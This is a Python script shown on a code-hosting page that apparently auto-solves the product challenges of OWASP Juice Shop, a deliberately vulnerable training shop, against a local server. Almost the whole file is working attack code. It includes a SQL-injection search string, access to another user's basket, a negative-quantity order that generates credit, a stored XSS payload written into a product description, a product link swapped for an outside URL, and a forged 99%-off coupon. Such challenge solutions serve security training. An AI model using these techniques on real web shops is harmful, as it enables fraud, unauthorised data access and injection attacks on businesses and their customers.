-
Notifications
You must be signed in to change notification settings - Fork 19
/
products.py
175 lines (145 loc) · 5.88 KB
/
products.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import json
import datetime
from zmq.utils import z85
from authentication import get_admin_session
from authentication import get_current_user_id
def _get_basket_url(server):
return '{}/rest/basket'.format(server)
def _build_basket_payload(productid, basketid, quantity):
return json.dumps({'ProductId': productid, 'BasketId': basketid, 'quantity': quantity})
def search_products(server, session, searchterm=''):
search = session.get('{}/rest/product/search?q={}'.format(server, searchterm))
if not search.ok:
raise RuntimeError('Error searching products: {}'.format(search.reason))
return search.json().get('data')
def access_another_user_basket(server, session):
"""
If we're admin(ID 1), open basket 2. Anybody else, open the ID below us.
:param server: juice shop URL
:param session: Session
"""
myid = get_current_user_id(server, session)
if myid is 1:
targetid = myid + 1
else:
targetid = myid - 1
basket = session.get('{}/{}'.format(_get_basket_url(server), targetid))
if not basket.ok:
raise RuntimeError('Error accessing basket {}'.format(targetid))
def order_christmas_special(server, session):
"""
Find the 2014 Christmas special with a SQLi, add it to our basket and checkout
:param server: juice shop URL
:param session: Session
"""
products = search_products(server, session, "christmas%25'))--")
for product in products:
if 'Christmas' in product.get('name'):
basketid = get_current_user_id(server, session)
payload = _build_basket_payload(product.get('id'), basketid, 1)
_add_to_basket(server, session, payload)
_checkout(server, session, basketid)
def make_ourselves_rich(server, session):
"""
Ordering a negative number of hoodies and checking out should give us plenty of imaginary money.
:param server: juice shop URL
:param session: Session
"""
print('Adding negative items to basket...'),
basketid = get_current_user_id(server, session)
payload = _build_basket_payload(12, basketid, -999)
_add_to_basket(server, session, payload)
_checkout(server, session, basketid)
print('Success.')
def update_osaft_description(server, session):
"""
Replace the O-Saft product link with our own.
:param server: juice shop URL
:param session: Session
"""
print('Updating O-Saft description with new URL...'),
origurl = 'https://www.owasp.org/index.php/O-Saft'
newurl = 'http://kimminich.de'
osaft = search_products(server, session, searchterm='O-Saft')[0]
description = osaft.get('description').replace(origurl, newurl)
_update_description(server, session, productid=osaft.get('id'), description=description)
print('Success.')
def update_product_with_xss3_payload(server, session):
xss3 = '<script>alert("XSS3")</script>'
print('Updating a production description with XSS3 payload...'),
_update_description(server, session, 1, xss3)
# Change it to something harmless
_update_description(server, session, 1, 'RIP.')
print('Success.')
def forge_coupon(server):
"""
Force a 99%-off coupon and checkout
:param server: juice shop URL
"""
session = get_admin_session(server)
basketid = get_current_user_id(server, session)
payload = _build_basket_payload(2, basketid, 1)
_add_to_basket(server, session, payload)
couponcode = _generate_coupon()
print('Applying forged coupon...'),
applycoupon = session.put('{}/{}/coupon/{}'.format(_get_basket_url(server), basketid, couponcode))
if not applycoupon.ok:
raise RuntimeError('Error applying coupon code.')
_checkout(server, session, basketid)
print('Success.')
def _update_description(server, session, productid, description):
"""
Update the description of a given product ID
:param server: juice shop URL
:param session: Session
:param productid: ID # of target product
:param description: text to overwrite existing description with
"""
apiurl = '{}/api/Products/{}'.format(server, productid)
payload = json.dumps({'description': description})
update = session.put(apiurl, headers={'Content-Type': 'application/json'}, data=payload)
if not update.ok:
raise RuntimeError('Error updating description for product.')
def _add_to_basket(server, session, payload):
"""
Add items to basket
:param server: juice shop URL
:param session: Session
:param payload: dict of ProductId, BasketId and quantity to add
"""
basketurl = '{}/api/BasketItems'.format(server)
additem = session.post(basketurl, headers={'Content-Type': 'application/json'}, data=payload)
if not additem.ok:
raise RuntimeError('Error adding items to basket.')
def _checkout(server, session, basketid):
"""
Checkout current basket
:param server: juice shop URL
:param session: Session
"""
checkout = session.post('{}/{}/checkout'.format(_get_basket_url(server), basketid))
if not checkout.ok:
raise RuntimeError('Error checking out basket.')
def _generate_coupon():
"""
Generate coupon using current month/year
:return:
"""
now = datetime.datetime.now()
month = now.strftime('%b').upper()
year = now.strftime('%y')
return z85.encode('{month}{year}-99'.format(month=month, year=year))
def solve_product_challenges(server):
print('\n== PRODUCT CHALLENGES ==\n')
session = get_admin_session(server)
access_another_user_basket(server, session)
order_christmas_special(server, session)
make_ourselves_rich(server, session)
update_osaft_description(server, session)
update_product_with_xss3_payload(server, session)
forge_coupon(server)
print('\n== PRODUCT CHALLENGES COMPLETE ==\n')
if __name__ == '__main__':
server = 'http://localhost:3000'
session = get_admin_session(server)
order_christmas_special(server, session)